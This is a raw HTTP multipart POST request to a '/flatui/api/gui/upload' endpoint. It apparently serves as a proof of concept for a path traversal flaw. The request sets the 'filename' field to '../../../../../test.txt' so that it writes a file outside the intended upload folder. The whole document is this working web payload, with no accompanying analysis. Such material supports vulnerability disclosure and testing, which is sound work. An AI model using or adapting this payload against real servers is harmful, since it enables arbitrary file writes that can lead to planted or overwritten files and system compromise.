POST /flatui/api/gui/upload HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=---------------------------26433208534746453103032271192
Content-Length: 729
[...]
-----------------------------26433208534746453103032271192
Content-Disposition: form-data; name="folder"
upload
-----------------------------26433208534746453103032271192
Content-Disposition: form-data; name="filesize"
5
-----------------------------26433208534746453103032271192
Content-Disposition: form-data; name="filename"
../../../../../test.txt
-----------------------------26433208534746453103032271192
Content-Disposition: form-data; name="range"
0-5
-----------------------------26433208534746453103032271192
Content-Disposition: form-data; name="filepath"; filename="system.dat"
Content-Type: application/octet-stream
test
-----------------------------26433208534746453103032271192--
